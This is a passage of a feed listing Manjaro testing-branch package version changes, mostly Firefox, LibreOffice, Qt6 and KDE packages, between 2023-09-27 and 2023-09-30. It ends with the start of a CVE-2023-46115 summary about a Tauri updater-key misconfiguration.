                     firefox-i18n-uz              118.0-1            118.0.1-1
                     firefox-i18n-vi              118.0-1            118.0.1-1
                     firefox-i18n-xh              118.0-1            118.0.1-1
                  firefox-i18n-zh-cn              118.0-1            118.0.1-1
                  firefox-i18n-zh-tw              118.0-1            118.0.1-1
                                  fq              0.7.0-1              0.8.0-1
                     gloobus-preview          0.4.5.336-5          0.4.5.336-6
                  go-bindata-assetfs              1.0.1-3                    -
                         go-ethereum             1.13.1-1             1.13.2-1
                          gperftools               2.12-1               2.13-1
                      graphicsmagick             1.3.41-3             1.3.42-1
               gtk-update-icon-cache           1:4.12.2-1           1:4.12.3-1
                                gtk4           1:4.12.2-1           1:4.12.3-1
                          gtk4-demos           1:4.12.2-1           1:4.12.3-1
                           gtk4-docs           1:4.12.2-1           1:4.12.3-1
                           heaptrack              1.4.0-4              1.5.0-1
                             hiredis              1.2.0-1              1.2.0-2
                             jenkins              2.424-1              2.425-1
                libappindicator-gtk2       12.10.0.r298-2       12.10.0.r298-3
                libappindicator-gtk3       12.10.0.r298-2       12.10.0.r298-3
                    libdbusmenu-glib       16.04.0.r498-1       16.04.0.r498-2
                    libdbusmenu-gtk2       16.04.0.r498-1       16.04.0.r498-2
                    libdbusmenu-gtk3       16.04.0.r498-1       16.04.0.r498-2
                          libetebase              0.5.5-1              0.5.6-1
              libperconaserverclient          8.0.33_25-5          8.0.34_26-5
                   libreoffice-fresh              7.6.1-1              7.6.2-1
                libreoffice-fresh-af              7.6.1-1              7.6.2-1
                libreoffice-fresh-am              7.6.1-1              7.6.2-1
                libreoffice-fresh-ar              7.6.1-1              7.6.2-1
                libreoffice-fresh-as              7.6.1-1              7.6.2-1
               libreoffice-fresh-ast              7.6.1-1              7.6.2-1
                libreoffice-fresh-be              7.6.1-1              7.6.2-1
                libreoffice-fresh-bg              7.6.1-1              7.6.2-1
                libreoffice-fresh-bn              7.6.1-1              7.6.2-1
             libreoffice-fresh-bn-in              7.6.1-1              7.6.2-1
                libreoffice-fresh-bo              7.6.1-1              7.6.2-1
                libreoffice-fresh-br              7.6.1-1              7.6.2-1
               libreoffice-fresh-brx              7.6.1-1              7.6.2-1
                libreoffice-fresh-bs              7.6.1-1              7.6.2-1
                libreoffice-fresh-ca              7.6.1-1              7.6.2-1
       libreoffice-fresh-ca-valencia              7.6.1-1              7.6.2-1
               libreoffice-fresh-ckb              7.6.1-1              7.6.2-1
                libreoffice-fresh-cs              7.6.1-1              7.6.2-1
                libreoffice-fresh-cy              7.6.1-1              7.6.2-1
                libreoffice-fresh-da              7.6.1-1              7.6.2-1
                libreoffice-fresh-de              7.6.1-1              7.6.2-1
               libreoffice-fresh-dgo              7.6.1-1              7.6.2-1
               libreoffice-fresh-dsb              7.6.1-1              7.6.2-1
                libreoffice-fresh-dz              7.6.1-1              7.6.2-1
                libreoffice-fresh-el              7.6.1-1              7.6.2-1
             libreoffice-fresh-en-gb              7.6.1-1              7.6.2-1
             libreoffice-fresh-en-za              7.6.1-1              7.6.2-1
                libreoffice-fresh-eo              7.6.1-1              7.6.2-1
                libreoffice-fresh-es              7.6.1-1              7.6.2-1
                libreoffice-fresh-et              7.6.1-1              7.6.2-1
                libreoffice-fresh-eu              7.6.1-1              7.6.2-1
                libreoffice-fresh-fa              7.6.1-1              7.6.2-1
                libreoffice-fresh-fi              7.6.1-1              7.6.2-1
                libreoffice-fresh-fr              7.6.1-1              7.6.2-1
               libreoffice-fresh-fur              7.6.1-1              7.6.2-1
                libreoffice-fresh-fy              7.6.1-1              7.6.2-1
                libreoffice-fresh-ga              7.6.1-1              7.6.2-1
                libreoffice-fresh-gd              7.6.1-1              7.6.2-1
                libreoffice-fresh-gl              7.6.1-1              7.6.2-1
                libreoffice-fresh-gu              7.6.1-1              7.6.2-1
               libreoffice-fresh-gug              7.6.1-1              7.6.2-1
                libreoffice-fresh-he              7.6.1-1              7.6.2-1
                libreoffice-fresh-hi              7.6.1-1              7.6.2-1
                libreoffice-fresh-hr              7.6.1-1              7.6.2-1
               libreoffice-fresh-hsb              7.6.1-1              7.6.2-1
                libreoffice-fresh-hu              7.6.1-1              7.6.2-1
                libreoffice-fresh-id              7.6.1-1              7.6.2-1
                libreoffice-fresh-is              7.6.1-1              7.6.2-1
                libreoffice-fresh-it              7.6.1-1              7.6.2-1
                libreoffice-fresh-ja              7.6.1-1              7.6.2-1
                libreoffice-fresh-ka              7.6.1-1              7.6.2-1
               libreoffice-fresh-kab              7.6.1-1              7.6.2-1
                libreoffice-fresh-kk              7.6.1-1              7.6.2-1
                libreoffice-fresh-km              7.6.1-1              7.6.2-1
          libreoffice-fresh-kmr-latn              7.6.1-1              7.6.2-1
                libreoffice-fresh-kn              7.6.1-1              7.6.2-1
                libreoffice-fresh-ko              7.6.1-1              7.6.2-1
               libreoffice-fresh-kok              7.6.1-1              7.6.2-1
                libreoffice-fresh-ks              7.6.1-1              7.6.2-1
                libreoffice-fresh-lb              7.6.1-1              7.6.2-1
                libreoffice-fresh-lo              7.6.1-1              7.6.2-1
                libreoffice-fresh-lt              7.6.1-1              7.6.2-1
                libreoffice-fresh-lv              7.6.1-1              7.6.2-1
               libreoffice-fresh-mai              7.6.1-1              7.6.2-1
                libreoffice-fresh-mk              7.6.1-1              7.6.2-1
                libreoffice-fresh-ml              7.6.1-1              7.6.2-1
                libreoffice-fresh-mn              7.6.1-1              7.6.2-1
               libreoffice-fresh-mni              7.6.1-1              7.6.2-1
                libreoffice-fresh-mr              7.6.1-1              7.6.2-1
                libreoffice-fresh-my              7.6.1-1              7.6.2-1
                libreoffice-fresh-nb              7.6.1-1              7.6.2-1
                libreoffice-fresh-ne              7.6.1-1              7.6.2-1
                libreoffice-fresh-nl              7.6.1-1              7.6.2-1
                libreoffice-fresh-nn              7.6.1-1              7.6.2-1
                libreoffice-fresh-nr              7.6.1-1              7.6.2-1
               libreoffice-fresh-nso              7.6.1-1              7.6.2-1
                libreoffice-fresh-oc              7.6.1-1              7.6.2-1
                libreoffice-fresh-om              7.6.1-1              7.6.2-1
                libreoffice-fresh-or              7.6.1-1              7.6.2-1
             libreoffice-fresh-pa-in              7.6.1-1              7.6.2-1
                libreoffice-fresh-pl              7.6.1-1              7.6.2-1
                libreoffice-fresh-pt              7.6.1-1              7.6.2-1
             libreoffice-fresh-pt-br              7.6.1-1              7.6.2-1
                libreoffice-fresh-ro              7.6.1-1              7.6.2-1
                libreoffice-fresh-ru              7.6.1-1              7.6.2-1
                libreoffice-fresh-rw              7.6.1-1              7.6.2-1
             libreoffice-fresh-sa-in              7.6.1-1              7.6.2-1
               libreoffice-fresh-sat              7.6.1-1              7.6.2-1
                libreoffice-fresh-sd              7.6.1-1              7.6.2-1
               libreoffice-fresh-sdk              7.6.1-1              7.6.2-1
                libreoffice-fresh-si              7.6.1-1              7.6.2-1
               libreoffice-fresh-sid              7.6.1-1              7.6.2-1
                libreoffice-fresh-sk              7.6.1-1              7.6.2-1
                libreoffice-fresh-sl              7.6.1-1              7.6.2-1
                libreoffice-fresh-sq              7.6.1-1              7.6.2-1
                libreoffice-fresh-sr              7.6.1-1              7.6.2-1
           libreoffice-fresh-sr-latn              7.6.1-1              7.6.2-1
                libreoffice-fresh-ss              7.6.1-1              7.6.2-1
                libreoffice-fresh-st              7.6.1-1              7.6.2-1
                libreoffice-fresh-sv              7.6.1-1              7.6.2-1
             libreoffice-fresh-sw-tz              7.6.1-1              7.6.2-1
               libreoffice-fresh-szl              7.6.1-1              7.6.2-1
                libreoffice-fresh-ta              7.6.1-1              7.6.2-1
                libreoffice-fresh-te              7.6.1-1              7.6.2-1
                libreoffice-fresh-tg              7.6.1-1              7.6.2-1
                libreoffice-fresh-th              7.6.1-1              7.6.2-1
                libreoffice-fresh-tn              7.6.1-1              7.6.2-1
                libreoffice-fresh-tr              7.6.1-1              7.6.2-1
                libreoffice-fresh-ts              7.6.1-1              7.6.2-1
                libreoffice-fresh-tt              7.6.1-1              7.6.2-1
                libreoffice-fresh-ug              7.6.1-1              7.6.2-1
                libreoffice-fresh-uk              7.6.1-1              7.6.2-1
                libreoffice-fresh-uz              7.6.1-1              7.6.2-1
                libreoffice-fresh-ve              7.6.1-1              7.6.2-1
               libreoffice-fresh-vec              7.6.1-1              7.6.2-1
                libreoffice-fresh-vi              7.6.1-1              7.6.2-1
                libreoffice-fresh-xh              7.6.1-1              7.6.2-1
             libreoffice-fresh-zh-cn              7.6.1-1              7.6.2-1
             libreoffice-fresh-zh-tw              7.6.1-1              7.6.2-1
                libreoffice-fresh-zu              7.6.1-1              7.6.2-1
                              libvpx             1.13.0-1             1.13.0-2
                              limine       5.20230924.0-1       5.20230928.2-1
                       livewallpaper          0.5.0.333-3          0.5.0.333-4
                                love               11.4-1               11.4-2
                                mame              0.258-1              0.259-1
                          mame-tools              0.258-1              0.259-1
                            mangohud           0.6.9.1-10              0.7.0-1
                               meson              1.2.1-1              1.2.2-1
                               minio         2023.09.23-1         2023.09.27-1
                        minio-client         2023.09.22-1         2023.09.28-1
                           mitmproxy             10.1.0-1             10.1.1-1
                              mpg123             1.32.1-1             1.32.2-1
                              opencv              4.8.0-6              4.8.1-1
                         opencv-cuda              4.8.0-6              4.8.1-1
                      opencv-samples              4.8.0-6              4.8.1-1
                             openexr              3.2.0-2              3.2.1-1
                               opera      102.0.4880.56-1      102.0.4880.70-1
                               pappl              1.3.4-1              1.4.0-1
                           partclone             0.3.25-1             0.3.26-1
                      percona-server          8.0.33_25-5          8.0.34_26-5
              percona-server-clients          8.0.33_25-5          8.0.34_26-5
                  php-legacy-mongodb             1.15.3-2             1.16.2-1
                         php-mongodb             1.15.3-2             1.16.2-1
                            protobuf               24.2-2               24.3-1
                                  pv             1.7.24-1              1.8.0-1
                         python-apsw           3.43.0.0-1           3.43.1.0-1
           python-aws-sam-translator             1.75.0-1             1.76.0-1
                    python-fonttools             4.42.1-1             4.43.0-1
                 python-jupyter-core              5.3.1-1              5.3.2-1
                 python-jupyter-ydoc              1.1.0-1              1.1.1-1
                 python-magic-filter              1.0.9-3             1.0.12-1
                         python-moto              4.2.2-1              4.2.4-1
                       python-opencv              4.8.0-6              4.8.1-1
                     python-protobuf               24.2-2               24.3-1
                         python-qtpy              2.3.1-2              2.4.0-1
                 python-scikit-learn              1.3.0-1              1.3.1-1
                        python-scipy             1.11.2-1             1.11.3-1
                    python-symengine             0.10.0-4             0.10.0-5
               python-trio-websocket             0.10.4-1             0.11.1-1
                 python-unicodedata2             15.0.0-3             15.1.0-1
                   python-weasyprint               60.0-1               60.1-1
                                 qbs              2.1.1-1              2.1.2-1
                            qt5-base   5.15.10+kde+r158-1   5.15.10+kde+r162-1
                         qt5-wayland    5.15.10+kde+r58-1    5.15.10+kde+r62-1
             qt5-xcb-private-headers   5.15.10+kde+r158-1   5.15.10+kde+r162-1
                              qt6-3d              6.5.2-1              6.5.3-1
                         qt6-5compat              6.5.2-1              6.5.3-1
                            qt6-base              6.5.2-1              6.5.3-1
                          qt6-charts              6.5.2-1              6.5.3-1
                    qt6-connectivity              6.5.2-1              6.5.3-1
                       qt6-datavis3d              6.5.2-1              6.5.3-1
                     qt6-declarative              6.5.2-2              6.5.3-1
                             qt6-doc              6.5.2-1              6.5.3-1
                        qt6-examples              6.5.2-1              6.5.3-1
                            qt6-grpc              6.5.2-4              6.5.3-1
                      qt6-httpserver              6.5.2-1              6.5.3-1
                    qt6-imageformats              6.5.2-2              6.5.3-1
                  qt6-languageserver              6.5.2-1              6.5.3-1
                        qt6-location              6.5.2-1              6.5.3-1
                          qt6-lottie              6.5.2-1              6.5.3-1
                      qt6-multimedia              6.5.2-1              6.5.3-1
               qt6-multimedia-ffmpeg              6.5.2-1              6.5.3-1
            qt6-multimedia-gstreamer              6.5.2-1              6.5.3-1
                     qt6-networkauth              6.5.2-1              6.5.3-1
                     qt6-positioning              6.5.2-1              6.5.3-1
                         qt6-quick3d              6.5.2-1              6.5.3-1
                  qt6-quick3dphysics              6.5.2-1              6.5.3-1
                qt6-quickeffectmaker              6.5.2-1              6.5.3-1
                   qt6-quicktimeline              6.5.2-1              6.5.3-1
                   qt6-remoteobjects              6.5.2-1              6.5.3-1
                           qt6-scxml              6.5.2-1              6.5.3-1
                         qt6-sensors              6.5.2-1              6.5.3-1
                       qt6-serialbus              6.5.2-1              6.5.3-1
                      qt6-serialport              6.5.2-1              6.5.3-1
                     qt6-shadertools              6.5.2-1              6.5.3-1
                          qt6-speech              6.5.2-1              6.5.3-1
                             qt6-svg              6.5.2-1              6.5.3-1
                           qt6-tools              6.5.2-2              6.5.3-1
                    qt6-translations              6.5.2-1              6.5.3-1
                 qt6-virtualkeyboard              6.5.2-1              6.5.3-1
                         qt6-wayland              6.5.2-2              6.5.3-1
                      qt6-webchannel              6.5.2-1              6.5.3-1
                       qt6-webengine              6.5.2-3              6.5.3-1
                      qt6-websockets              6.5.2-1              6.5.3-1
                         qt6-webview              6.5.2-1              6.5.3-1
                               qt6ct                0.9-1                0.9-2
                           qtcreator             11.0.2-2             11.0.3-1
                     qtcreator-devel             11.0.2-2             11.0.3-1
                                qtqr                2.1-4                2.1-5
                        sdl12-compat             1.2.64-1             1.2.68-1
                      signal-desktop             6.31.0-1             6.32.0-1
                         sweethome3d                7.1-3                7.2-1
                           symengine             0.10.1-2             0.11.1-1
                    telegram-desktop             4.10.1-1             4.10.1-2
                              tinygo             0.29.0-1             0.30.0-1
                     tracker3-miners              3.6.0-1              3.6.1-1
                               typos            1.16.14-1            1.16.15-1
                          uncrustify             0.75.1-1             0.77.1-1
                              vector             0.32.1-1             0.32.2-1
                                 vtk              9.2.6-8              9.2.6-9
                            waycheck              0.1.3-1              0.2.0-1
                             web-ext              7.7.0-1              7.8.0-1
                          webkit2gtk             2.42.0-1             2.42.1-1
                      webkit2gtk-4.1             2.42.0-1             2.42.1-1
                 webkit2gtk-4.1-docs             2.42.0-1             2.42.1-1
                     webkit2gtk-docs             2.42.0-1             2.42.1-1
                       webkitgtk-6.0             2.42.0-1             2.42.1-1
                  webkitgtk-6.0-docs             2.42.0-1             2.42.1-1
                           wpewebkit             2.40.5-2             2.42.1-1
                      wpewebkit-docs             2.40.5-2             2.42.1-1
                xfce4-clipman-plugin              1.6.4-1              1.6.5-1
                         xfce4-panel             4.18.4-1             4.18.5-1
                           xorg-xman              1.1.5-3              1.1.6-1


:: Different overlay package(s) in repository kde-unstable x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-09-27           2023-09-30
-------------------------------------------------------------------------------
                             akonadi23.08.1.r13170.g11a4c14cc-123.08.1.r13176.g5d5061a8e-1
              akonadi-calendar-tools23.08.1.r1109.g41db646-123.08.1.r1110.gaccc235-1
                    akonadi-contacts23.08.1.r3605.g4c4bfb96-123.08.1.r3610.gb29cf7f8-1
               akonadi-import-wizard23.08.1.r2000.gb013ee9-123.08.1.r2005.gc4aa99a-1
                        akonadi-mime23.08.1.r1929.g8775f2d-123.08.1.r1930.gef30d83-1
                       akonadi-notes23.08.1.r1217.g18c4b05-123.08.1.r1218.g097309f-1
                      akonadi-search23.08.1.r1468.ge29114f-123.08.1.r1477.g293e783-1
                      akonadiconsole23.08.1.r1823.g74ac51b-123.08.1.r1825.ge22049b-1
                           akregator23.08.1.r6834.gd8705cdd-123.08.1.r6838.g3d9cea34-1
                            analitza23.08.1.r2409.gbb669d0a-123.08.1.r2412.g8e0bed08-1
                           angelfish23.08.1.r1401.ge3c97e4-123.08.1.r1402.g9133469-1
                               baloo5.110.0.r3327.g0cf2a7c9-15.110.0.r3328.g8c478f20-1
                              bomber23.08.1.r661.g3bd0936-123.08.1.r662.gff61e26-1
                                bovo23.08.1.r885.g535aba0-123.08.1.r888.g26c624b-1
                        breeze-icons5.110.0.r2045.g1523174c-15.110.0.r2048.g3632fdd4-1
                     calendarsupport23.08.1.r933.gd57279b-123.08.1.r937.g6606743-1
                             drkonqi5.27.8.r1091.g21eabc6c-15.27.8.r1092.g587b5f5a-1
                               elisa23.08.1.r3467.g9900bd7c-123.08.1.r3471.g384309a3-1
                          elisa-qtmm23.08.1.r3467.g9900bd7c-123.08.1.r3471.g384309a3-1
                frameworkintegration5.110.0.r712.g5f85f36-15.110.0.r713.g7b671d7-1
                           granatier23.08.1.r1077.gf1575eb-123.08.1.r1078.gc796494-1
                     grantlee-editor23.08.1.r1005.gc7b95dc-123.08.1.r1007.gf42a131-1
                       grantleetheme23.08.1.r554.g51e8c51-123.08.1.r555.ge715f06-1
                           itinerary23.08.1.r3110.g41f0c6de-123.08.1.r3160.g830670b5-1
                   kactivities-stats5.110.0.r448.g9562a16-15.110.0.r449.gf194e71-1
                   kactivitymanagerd5.27.8.r1519.g459c4135-15.27.8.r1523.g6c95bcd6-1
                        kaddressbook23.08.1.r6508.g3814e90b-123.08.1.r6510.g35224b51-1
                              kalarm23.08.1.r8627.gd00a206c-123.08.1.r8631.gd4f68da3-1
                            kalgebra23.08.1.r2202.gcf7ef53f-123.08.1.r2204.g8dcee44f-1
                                kalk23.08.1.r739.gf2649c0-123.08.1.r741.g6f6f411-1
                              kapman23.08.1.r758.gcf29668-123.08.1.r760.g04f5e78-1
                               kasts23.08.1.r1380.gf8d1d71-123.08.1.r1395.g4d9180c-1
                             katomic23.08.1.r1075.g5a69208-123.08.1.r1076.g430f270-1
                               kauth5.110.0.r590.g6f0f4b2-15.110.0.r592.g685d297-1
                           kblackbox23.08.1.r879.gafcfbd9-123.08.1.r881.g85f793a-1
                             kblocks23.08.1.r855.g62fcc64-123.08.1.r856.g555558b-1
                           kbreakout23.08.1.r1025.gd78a532-123.08.1.r1026.g7a2fa53-1
                               kcalc23.08.1.r1781.g577cf66-123.08.1.r1782.gaa96ec6-1
                         kcharselect23.08.1.r661.g2b6ff82-123.08.1.r662.g8ccee5b-1
                            kcmutils5.110.0.r990.g1e95892a-15.110.0.r991.gbd4f0a83-1
                      kconfigwidgets5.110.0.r951.g95a15181-15.110.0.r955.g9a6bc221-1
                               kcron23.08.1.r961.g2f26f0d-123.08.1.r962.g61af870-1
                         kdbusaddons5.110.0.r502.g898c177-15.110.0.r505.g43c4c0e-1
                       kde-cli-tools5.27.8.r2223.g7f608e65-15.27.8.r2225.g121690fb-1
                      kdebugsettings23.08.1.r1427.g5740503-123.08.1.r1428.g21e35bb-1
                         kdecoration5.27.8.r372.g88cca6c-15.27.8.r373.g3e40399-1
                                kded5.110.0.r530.ge261e4a-15.110.0.r531.g436c0d4-1
                            kdenlive23.08.1.r18730.g451722de4-123.08.1.r18746.g1f288e3df-1
                    kdeplasma-addons5.27.8.r9738.g2a30ff849-15.27.8.r9740.g3e3bb61dd-1
                               kdesu5.110.0.r588.gd737ca7-15.110.0.r589.ge2365d6-1
                            kdiamond23.08.1.r822.g546a6af-123.08.1.r823.ga5613fa-1
                              kdnssd5.110.0.r422.g9db9dc1-15.110.0.r423.gcaa87ee-1
                           kdoctools5.110.0.r779.g9cc0ed2-15.110.0.r780.gfad1592-1
                            keysmith23.08.1.r510.g64a75f1-123.08.1.r519.gfda10b6-1
                               kfind23.08.1.r2848.gde170a3a9-123.08.1.r2849.gc7491fe25-1
                         kfourinline23.08.1.r1134.g858e654-123.08.1.r1137.g7591447-1
                        kglobalaccel5.110.0.r684.g1a908a5-15.110.0.r686.gf6e2522-1
                         kgoldrunner23.08.1.r1419.g82c1152-123.08.1.r1423.g9d5776e-1
                  khealthcertificate23.08.1.r173.ga0e5f0b-123.08.1.r175.ga31e19d-1
                 kidentitymanagement23.08.1.r4189.geb6078f6-123.08.1.r4193.ge4eaaee1-1
                                kigo23.08.1.r691.ge3313bc-123.08.1.r693.g78a2637-1
                            killbots23.08.1.r902.g0b5f42b-123.08.1.r905.g5a95197-1
                         kinfocenter5.27.8.r2517.g83cf0bb4-15.27.8.r2519.gbf30b4dc-1
                                 kio5.110.0.r6586.g56052b5f6-15.110.0.r6588.gcfa6110df-1
                     kirigami-addons1:0.11.0.r69.g028ebd8-11:0.11.0.r83.gf9abd9f-1
                           kirigami25.110.0.r4058.g130d1c3f-15.110.0.r4078.g684c010e-1
                              kiriki23.08.1.r558.g5512a57-123.08.1.r560.ga952617-1
                          kitemviews5.110.0.r457.g81e85e6-15.110.0.r459.ga003a71-1
                            klettres23.08.1.r1083.g94c8412-123.08.1.r1084.g4fadd4f-1
                            klickety23.08.1.r802.gff75751-123.08.1.r803.g978d345-1
                                kmag23.08.1.r840.gffb1be5-123.08.1.r841.gb259d4b-1
                           kmahjongg23.08.1.r1697.g4ad1eb7-123.08.1.r1699.g6417204-1
                               kmail23.08.1.r27359.g5128d9061-123.08.1.r27366.gfe3e8ee63-1
                kmail-account-wizard23.08.1.r1055.gace2490-123.08.1.r1061.g98b2306-1
                           kmenuedit5.27.8.r1227.ga681193-15.27.8.r1230.gdec0e6e-1
                               kmime23.08.1.r1685.g9a4adac-123.08.1.r1686.gb341ee1-1
                              kmines23.08.1.r1883.gea8ae77-123.08.1.r1884.g435a2f8-1
                          kmousetool23.08.1.r551.gdc6af93-123.08.1.r552.gac59d80-1
                        knavalbattle23.08.1.r1540.gb20c184-123.08.1.r1544.g515507f-1
                            knetwalk23.08.1.r810.g5f73860-123.08.1.r811.gfc8f24a-1
                           knewstuff5.110.0.r1676.g297ff307-15.110.0.r1677.g12282d3c-1
                             knights23.08.1.r1283.gf38bdcf-123.08.1.r1287.gb2a9e05-1
                              knotes23.08.1.r4033.g2bb3b38c-123.08.1.r4036.gbf6ed464-1
                      knotifications5.110.0.r909.gb5953d3-15.110.0.r910.g32dcec2-1
                       knotifyconfig5.110.0.r475.g895f96b-15.110.0.r476.gd7b0a46-1
                                kolf23.08.1.r1648.g0491999-123.08.1.r1653.g9ddc885-1
                         kolourpaint23.08.1.r2591.g98ab862b-123.08.1.r2594.g3aea0dd2-1
                            konquest23.08.1.r1044.g9f307b8-123.08.1.r1046.gb908e42-1
                             konsole23.08.1.r9189.g937a498ec-123.08.1.r9190.gfea05e24b-1
                             kontact23.08.1.r5850.g8e9ade12-123.08.1.r5851.g09973353-1
                    kontactinterface23.08.1.r831.g7428caf-123.08.1.r833.ge805abc-1
                            kontrast23.08.1.r364.gf7a63f7-123.08.1.r367.gef74d41-1
                       kosmindoormap23.08.1.r1137.gfbfe7b9-123.08.1.r1143.g53b1087-1
                              kparts5.110.0.r763.g9c4f4bd-15.110.0.r765.g3ef1f5b-1
                             kpeople5.110.0.r1457.gc49192a-15.110.0.r1458.g147470d-1
                        kpimtextedit23.08.1.r1991.gb3ce293-123.08.1.r1995.g8dde550-1
                           kpipewire5.27.8.r371.gc0316bb-15.27.8.r375.g9b5210e-1
                    kpublictransport23.08.1.r2300.gfc11c83a-123.08.1.r2303.gda257afb-1
                            kreversi23.08.1.r1393.g01ce8f3-123.08.1.r1394.g058c29a-1
                             kscreen5.27.8.r1844.gb6c7ad9-15.27.8.r1847.g1fe9e9e9-1
                       kscreenlocker5.27.8.r1172.g6ab4e39-15.27.8.r1174.g27cb3a3-1
                            kservice5.110.0.r1195.g3e351520-15.110.0.r1196.g2e73b083-1
                               ksmtp23.08.1.r577.gfce738a-123.08.1.r578.g3ec6ad8-1
                          ksnakeduel23.08.1.r952.g5f81d88-123.08.1.r953.g47e2c16-1
                          kspaceduel23.08.1.r764.gf3dedd3-123.08.1.r765.g524a3ad-1
                            ksquares23.08.1.r679.gaeb9e89-123.08.1.r680.g9f5a257-1
                         ksshaskpass5.27.8.r292.gd4fcff7-15.27.8.r293.ge41c60e-1
                 kstatusnotifieritem5.110.0.r123.gdaa5539-15.110.0.r126.gb58658c-1
                             ksudoku23.08.1.r1246.g61afe1b-123.08.1.r1249.g403efd1-1
                                ksvg5.110.0.r5084.ga5812d0d-15.110.0.r5089.g6c09a78c-1
                         ktextaddons23.08.1.r922.gd793a3d-123.08.1.r924.g365da54-1
                         ktexteditor5.110.0.r4149.g5b79d51f-15.110.0.r4153.gf6ec7240-1
                             kubrick23.08.1.r522.g48744c3-123.08.1.r526.g836e22c-1
                         kwallet-pam5.27.8.r297.g71f00fd-15.27.8.r298.gbff3d84-1
                            kweather23.08.1.r973.g51819f8-123.08.1.r991.gd1ee9a1-1
                                kwin5.27.8.r25274.g4b49ca7751-15.27.8.r25291.geab335f686-1
                       kwindowsystem5.110.0.r804.g5519332-15.110.0.r806.g38c1eeb-1
                             kwrited5.27.8.r549.g029db33-15.27.8.r550.g85e3548-1
                             kxmlgui5.110.0.r1105.g634e8225-15.110.0.r1106.gb0a39b9d-1
                      layer-shell-qt5.27.8.r98.g721c0ae-15.27.8.r99.g1573a89-1
                          libakonadi23.08.1.r13170.g11a4c14cc-123.08.1.r13176.g5d5061a8e-1
                         libgravatar23.08.1.r566.gb6b17cb-123.08.1.r567.g604be70-1
                     libkcompactdisc23.08.1.r451.g9d07c67-123.08.1.r452.g72db2fc-1
                         libkdegames23.08.1.r2358.gaf27b02a-123.08.1.r2360.g1aa498d7-1
                           libkdepim23.08.1.r1060.g8f95690-123.08.1.r1061.g7932eda-1
                          libkscreen5.27.8.r1836.gbcacea4-15.27.8.r1839.g1429ec0-1
                           libksieve23.08.1.r2068.gc10b3aaa-123.08.1.r2072.gdd559482-1
                               lskat23.08.1.r968.gd3a4feb-123.08.1.r969.g44bb266-1
                          mailcommon23.08.1.r1575.gbeed4c00-123.08.1.r1581.g507237e4-1
                       mbox-importer23.08.1.r698.g07c2189-123.08.1.r702.gaa548ba-1
                          messagelib23.08.1.r7442.g2585deb27-123.08.1.r7482.gbe222995d-1
                               milou5.27.8.r883.gf9abb2b-15.27.8.r886.gf2f5529-1
                              minuet23.08.1.r732.g63c5421-123.08.1.r733.g033c425-1
                             neochat23.04.3.r3617.g6439fa48f-123.08.1.r3677.gabe881caf-1
                            palapeli23.08.1.r1435.g6e187e1-123.08.1.r1439.gf3a6d33-1
                               picmi23.08.1.r665.g02e7a87-123.08.1.r666.gfaff6af-1
                   pim-data-exporter23.08.1.r2996.g7cf6143c-123.08.1.r2998.g566c94f2-1
                    pim-sieve-editor23.08.1.r1865.g9085bfc-123.08.1.r1868.g14efaa7-1
                           pimcommon23.08.1.r2218.g1dffe3da-123.08.1.r2222.g05f8dc41-1
                      plasma-desktop5.27.8.r10939.g58dcf8d49-15.27.8.r10946.g4fc53281a-1
                       plasma-dialer23.08.1.r943.g3c676ee-123.08.1.r944.g8ab5b4a-1
                    plasma-framework5.110.0.r16957.gc6a64ebda-15.110.0.r16961.g98afe43ad-1
                  plasma-integration5.27.8.r708.g7df261b-15.27.8.r710.g8cb13a1-1
                       plasma-mobile5.27.8.r2546.g7b25afff5-15.27.8.r2564.g58faa0362-1
                    plasma-mobile-nm5.27.8.r3773.gc5cd74aa-15.27.8.r3776.gcef804ad-1
                         plasma-nano5.27.8.r311.gda89592-15.27.8.r312.gd5490b4-1
                           plasma-nm5.27.8.r3773.gc5cd74aa-15.27.8.r3776.gcef804ad-1
                           plasma-pa5.27.8.r1358.g6801800-15.27.8.r1360.g6fe1acf-1
                          plasma-sdk5.27.8.r2666.ga6b5c1da-15.27.8.r2669.g8e3de4ed-1
                plasma-systemmonitor5.27.8.r849.ge4a2826-15.27.8.r852.g058265f-1
              plasma-wayland-session5.27.8.r14491.g2d08920ee-15.27.8.r14531.g507466948-1
                    plasma-workspace5.27.8.r14491.g2d08920ee-15.27.8.r14531.g507466948-1
                          plasmatube23.04.3.r409.gc7512af-123.08.1.r427.gfeee02a-1
                          powerdevil5.27.8.r2963.gb5326370-15.27.8.r2965.g84c2312c-1
                          qmlkonsole23.08.1.r413.g3a8762c-123.08.1.r415.g37ae402-1
                               solid5.110.0.r936.g5600e56b-15.110.0.r937.gb9a4b163-1
                           spectacle23.08.1.r1924.g29993b34-123.08.1.r1932.g8495d7b6-1
                             svgpart23.08.1.r326.g52bad51-123.08.1.r329.ge28274e-1
                 syntax-highlighting5.110.0.r2372.g0211d718-15.110.0.r2373.gd7f8436c-1
                      systemsettings5.27.8.r3039.g041f3588-15.27.8.r3050.ge76d1f36-1
                            wrapland5.27.7.r1877.g77cbb96e-15.27.8.r1883.g048a451a-1
              xdg-desktop-portal-kde5.27.8.r837.g7e16cde-15.27.8.r841.g59b6290-1
                               ksirk                    -23.08.1.r1202.g21c2065-1


:: Different overlay package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-09-27           2023-09-30
-------------------------------------------------------------------------------
                      lib32-mangohud 0.6.9.1.r68.g0ae2e42-4                  -
                       lib32-systemd              254.4-1              254.5-1
             linux-steam-integration             0.7.3-11             0.7.3-12


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-09-27           2023-09-30
-------------------------------------------------------------------------------
                        lib32-amdvlk          2023.Q3.2-1          2023.Q3.3-1
                      lib32-libdecor              0.1.1-1              0.2.0-1
                        lib32-libvpx             1.13.0-1             1.13.0-2
                      lib32-mangohud            0.6.9.1-6              0.7.0-2
                        lib32-mpg123             1.32.1-1             1.32.2-1
                  lib32-sdl12-compat             1.2.64-1             1.2.68-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2023-09-30-systemd-firefox-libreoffice-amdvlk/148854/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
            <p><small>24 posts - 12 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2023-09-30-systemd-firefox-libreoffice-amdvlk/148854">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2023-46115]]></title>
<description><![CDATA[Tauri is a framework for building binaries for all major desktop platforms. This advisory is not describing a vulnerability in the Tauri code base itself but a commonly used misconfiguration which could lead to leaking of the private key and updater key password into bundled Tauri applications us...]]></description>
